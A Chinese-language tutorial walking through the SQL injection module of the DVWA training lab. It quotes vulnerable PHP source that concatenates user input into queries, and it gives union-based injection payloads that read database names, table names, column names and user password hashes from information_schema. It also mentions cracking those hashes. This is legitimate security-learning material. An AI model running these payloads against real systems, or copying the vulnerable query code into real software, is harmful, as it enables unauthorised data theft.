DVWA-------SQLInjection(SQL注入)模块学习

一,SQL注入的原理和过程概况

(1)原理

通过 '# 的使用将恶意的SQL语句拼接到合法的语句中,从而达到执行恶意SQL语句的目的

(2)分类

  • 字符型
  • 数字型
  • 搜索型

(3)SQL注入的一般过程

1.判断是否存在注入,注入是字符型还是数字型

.
2.猜解SQL查询语句中的字段数;
.
3.确定显示位置;
.
4.获取当前数据库;获取数据库中表;
.
5.获取表中的字段名;
.
6.获取数据;

二,DVWA的SQL注入模块学习

在这里插入图片描述

(1)low安全模式

【源码】

<?php 

if( isset( $_REQUEST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_REQUEST[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";   ###?没有PDO??
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results 
    while( $row = mysqli_fetch_assoc( $result ) ) { 
        // Get values 
        $first = $row["first_name"]; 
        $last  = $row["last_name"]; 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
    } 

    mysqli_close($GLOBALS["___mysqli_ston"]); 
} 

?> 

【注入过程】

①查看是否有注入点,判断类型

  • 在这里插入图片描述

判断注入是字符型还是数字型

WAY1/

  • 在这里插入图片描述

WAY2/

  • 在这里插入图片描述

【这里显示结果很多是因为:where判断从上到小依次判断,且’1‘=’1‘恒成立】

②猜测字段数

  • 在这里插入图片描述

③查看显示位置

1' union select 1,2 #
  • 在这里插入图片描述

④查看库,表,并列出字段

1' union select database(),version()                                       

最后的# -->注释掉 ’

  • 在这里插入图片描述

对information_schema库的说明

查看表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
  • 在这里插入图片描述

查看字段

 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
  • 在这里插入图片描述

⑤获取值

  • 在这里插入图片描述

之后可以对md5加密值进行破解

  • 在这里插入图片描述

(2)medium安全等级

<?php 

if( isset( $_POST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_POST[ 'id' ]; 

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);   

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; ?#这里是数字型?
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); 

    // Get results 
    while( $row = mysqli_fetch_assoc( $result ) ) { 
        // Display values 
        $first = $row["first_name"]; 
        $last  = $row["last_name"]; 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
    } 

} 

// This is used later on in the index.php page 
// Setting it here so we can close the database connection in here like in the rest of the source scripts 
$query  = "SELECT COUNT(*) FROM users;"; 
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0]; 

mysqli_close($GLOBALS["___mysqli_ston"]); 
?> 

在这里插入图片描述

思路

  • 不能input ☞ 抓包修改 ☞ burp suite工具 ☞ send to repeater

抓包

  • 在这里插入图片描述

①判断是否有注入点和是什么类型
在这里插入图片描述
②猜测字段数
在这里插入图片描述
在这里插入图片描述
③判断显示位置
在这里插入图片描述
④得到库,表名,字段值
在这里插入图片描述

由于后端只能识别16进制的编码这里获得表名时可以现在数据库名进行16进制转换,或者直接用database()

在这里插入图片描述

WAY1

  • 在这里插入图片描述

WAY2

  • 在这里插入图片描述

获取字段值
在这里插入图片描述

⑤获取数据
在这里插入图片描述


(3)high安全模式

【源码】

增加了页面跳转

在这里插入图片描述
在这里插入图片描述
【注入过程】
①判断类型
在这里插入图片描述
②猜测字段数

  • 在这里插入图片描述

③确定显示位置

在这里插入图片描述

④确定库,表,字段值
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

⑤获取数据
在这里插入图片描述

(4)Impossible安全级别

【源码】在这里插入图片描述

  • Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入;

  • 同时只有返回的查询结果数量为1时,才会输出;

三,URL编码问题

在这里插入图片描述
URL编码可以用burp suite工具进行编解码

在这里插入图片描述

四,总结

(1)常用的URL的编码

UTF-8 URL编码
%27
空格 %20
# %23

(2)熟练了解5.0以上版本数据库的information_schema库

information_schema.tables表

存放了各个库中的各个表的信息

mysql> describe TABLES;
+-----------------+---------------------+------+-----+---------+-------+
| Field           | Type                | Null | Key | Default | Extra |
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG   | varchar(512)        | YES  |     | NULL    |       |
| TABLE_SCHEMA    | varchar(64)         | NO   |     |         |       |
| TABLE_NAME      | varchar(64)         | NO   |     |         |       |
| TABLE_TYPE      | varchar(64)         | NO   |     |         |       |
| ENGINE          | varchar(64)         | YES  |     | NULL    |       |
| VERSION         | bigint(21) unsigned | YES  |     | NULL    |       |
| ROW_FORMAT      | varchar(10)         | YES  |     | NULL    |       |
| TABLE_ROWS      | bigint(21) unsigned | YES  |     | NULL    |       |
| AVG_ROW_LENGTH  | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_LENGTH     | bigint(21) unsigned | YES  |     | NULL    |       |
| MAX_DATA_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| INDEX_LENGTH    | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_FREE       | bigint(21) unsigned | YES  |     | NULL    |       |
| AUTO_INCREMENT  | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_TIME     | datetime            | YES  |     | NULL    |       |
| UPDATE_TIME     | datetime            | YES  |     | NULL    |       |
| CHECK_TIME      | datetime            | YES  |     | NULL    |       |
| TABLE_COLLATION | varchar(32)         | YES  |     | NULL    |       |
| CHECKSUM        | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_OPTIONS  | varchar(255)        | YES  |     | NULL    |       |
| TABLE_COMMENT   | varchar(80)         | NO   |     |         |       |
+-----------------+---------------------+------+-----+---------+-------+
21 rows in set (0.00 sec)

在这里插入图片描述

information_schema.columns表

存放各个表中的各个字段名

mysql> describe columns;
+--------------------------+---------------------+------+-----+---------+-------+
| Field                    | Type                | Null | Key | Default | Extra |
+--------------------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG            | varchar(512)        | YES  |     | NULL    |       |
| TABLE_SCHEMA             | varchar(64)         | NO   |     |         |       |
| TABLE_NAME               | varchar(64)         | NO   |     |         |       |
| COLUMN_NAME              | varchar(64)         | NO   |     |         |       |
| ORDINAL_POSITION         | bigint(21) unsigned | NO   |     | 0       |       |
| COLUMN_DEFAULT           | longtext            | YES  |     | NULL    |       |
| IS_NULLABLE              | varchar(3)          | NO   |     |         |       |
| DATA_TYPE                | varchar(64)         | NO   |     |         |       |
| CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| CHARACTER_OCTET_LENGTH   | bigint(21) unsigned | YES  |     | NULL    |       |
| NUMERIC_PRECISION        | bigint(21) unsigned | YES  |     | NULL    |       |
| NUMERIC_SCALE            | bigint(21) unsigned | YES  |     | NULL    |       |
| CHARACTER_SET_NAME       | varchar(32)         | YES  |     | NULL    |       |
| COLLATION_NAME           | varchar(32)         | YES  |     | NULL    |       |
| COLUMN_TYPE              | longtext            | NO   |     | NULL    |       |
| COLUMN_KEY               | varchar(3)          | NO   |     |         |       |
| EXTRA                    | varchar(27)         | NO   |     |         |       |
| PRIVILEGES               | varchar(80)         | NO   |     |         |       |
| COLUMN_COMMENT           | varchar(255)        | NO   |     |         |       |
+--------------------------+---------------------+------+-----+---------+-------+
19 rows in set (0.00 sec)

在这里插入图片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章